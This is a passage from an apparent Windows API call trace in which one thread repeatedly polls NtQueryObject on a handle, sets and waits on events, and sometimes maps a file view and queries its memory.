ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.198] ResetEvent (hEvent=0x110) returned 1 [0259.198] SetEvent (hEvent=0x114) returned 1 [0259.198] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.198] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.198] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.198] ResetEvent (hEvent=0x110) returned 1 [0259.198] SetEvent (hEvent=0x114) returned 1 [0259.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.199] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.199] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.199] ResetEvent (hEvent=0x110) returned 1 [0259.199] SetEvent (hEvent=0x114) returned 1 [0259.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.199] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.199] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.199] ResetEvent (hEvent=0x110) returned 1 [0259.199] SetEvent (hEvent=0x114) returned 1 [0259.200] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.200] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.200] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.200] ResetEvent (hEvent=0x110) returned 1 [0259.200] SetEvent (hEvent=0x114) returned 1 [0259.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.201] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.201] ResetEvent (hEvent=0x110) returned 1 [0259.201] SetEvent (hEvent=0x114) returned 1 [0259.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.201] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.201] ResetEvent (hEvent=0x110) returned 1 [0259.201] SetEvent (hEvent=0x114) returned 1 [0259.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.202] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.202] ResetEvent (hEvent=0x110) returned 1 [0259.202] SetEvent (hEvent=0x114) returned 1 [0259.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.203] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.203] ResetEvent (hEvent=0x110) returned 1 [0259.203] SetEvent (hEvent=0x114) returned 1 [0259.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.203] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.203] ResetEvent (hEvent=0x110) returned 1 [0259.203] SetEvent (hEvent=0x114) returned 1 [0259.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.204] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.204] ResetEvent (hEvent=0x110) returned 1 [0259.204] SetEvent (hEvent=0x114) returned 1 [0259.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.204] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.205] ResetEvent (hEvent=0x110) returned 1 [0259.205] SetEvent (hEvent=0x114) returned 1 [0259.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.205] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.205] ResetEvent (hEvent=0x110) returned 1 [0259.205] SetEvent (hEvent=0x114) returned 1 [0259.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.206] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.206] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.206] ResetEvent (hEvent=0x110) returned 1 [0259.206] SetEvent (hEvent=0x114) returned 1 [0259.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.206] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.206] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.206] ResetEvent (hEvent=0x110) returned 1 [0259.206] SetEvent (hEvent=0x114) returned 1 [0259.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.207] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.207] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.207] ResetEvent (hEvent=0x110) returned 1 [0259.207] SetEvent (hEvent=0x114) returned 1 [0259.208] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.208] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.208] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.208] ResetEvent (hEvent=0x110) returned 1 [0259.208] SetEvent (hEvent=0x114) returned 1 [0259.208] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.208] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.208] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.208] ResetEvent (hEvent=0x110) returned 1 [0259.208] SetEvent (hEvent=0x114) returned 1 [0259.209] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.209] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.209] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.209] ResetEvent (hEvent=0x110) returned 1 [0259.209] SetEvent (hEvent=0x114) returned 1 [0259.210] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.210] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.210] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.210] ResetEvent (hEvent=0x110) returned 1 [0259.210] SetEvent (hEvent=0x114) returned 1 [0259.210] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.210] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.210] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.210] ResetEvent (hEvent=0x110) returned 1 [0259.210] SetEvent (hEvent=0x114) returned 1 [0259.211] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.211] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.211] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.211] ResetEvent (hEvent=0x110) returned 1 [0259.211] SetEvent (hEvent=0x114) returned 1 [0259.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.212] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.212] ResetEvent (hEvent=0x110) returned 1 [0259.212] SetEvent (hEvent=0x114) returned 1 [0259.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.212] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.212] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.212] ResetEvent (hEvent=0x110) returned 1 [0259.212] SetEvent (hEvent=0x114) returned 1 [0259.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.213] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.213] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.213] ResetEvent (hEvent=0x110) returned 1 [0259.213] SetEvent (hEvent=0x114) returned 1 [0259.213] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.214] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.214] ResetEvent (hEvent=0x110) returned 1 [0259.214] SetEvent (hEvent=0x114) returned 1 [0259.214] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.214] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.214] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.214] ResetEvent (hEvent=0x110) returned 1 [0259.214] SetEvent (hEvent=0x114) returned 1 [0259.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.215] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.215] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.215] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.215] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.215] ResetEvent (hEvent=0x110) returned 1 [0259.215] SetEvent (hEvent=0x114) returned 1 [0259.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.216] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.216] ResetEvent (hEvent=0x110) returned 1 [0259.216] SetEvent (hEvent=0x114) returned 1 [0259.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.216] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.216] ResetEvent (hEvent=0x110) returned 1 [0259.216] SetEvent (hEvent=0x114) returned 1 [0259.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.217] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.217] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.217] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.217] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.217] ResetEvent (hEvent=0x110) returned 1 [0259.217] SetEvent (hEvent=0x114) returned 1 [0259.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.218] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.218] ResetEvent (hEvent=0x110) returned 1 [0259.218] SetEvent (hEvent=0x114) returned 1 [0259.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.218] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.218] ResetEvent (hEvent=0x110) returned 1 [0259.218] SetEvent (hEvent=0x114) returned 1 [0259.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.219] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.219] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.219] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.219] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.219] ResetEvent (hEvent=0x110) returned 1 [0259.219] SetEvent (hEvent=0x114) returned 1 [0259.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.220] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.220] ResetEvent (hEvent=0x110) returned 1 [0259.220] SetEvent (hEvent=0x114) returned 1 [0259.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.220] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.220] ResetEvent (hEvent=0x110) returned 1 [0259.220] SetEvent (hEvent=0x114) returned 1 [0259.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.254] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.254] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.254] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.254] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.254] ResetEvent (hEvent=0x110) returned 1 [0259.254] SetEvent (hEvent=0x114) returned 1 [0259.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.254] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.255] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.255] ResetEvent (hEvent=0x110) returned 1 [0259.255] SetEvent (hEvent=0x114) returned 1 [0259.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.255] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.255] NtQueryObject (in: 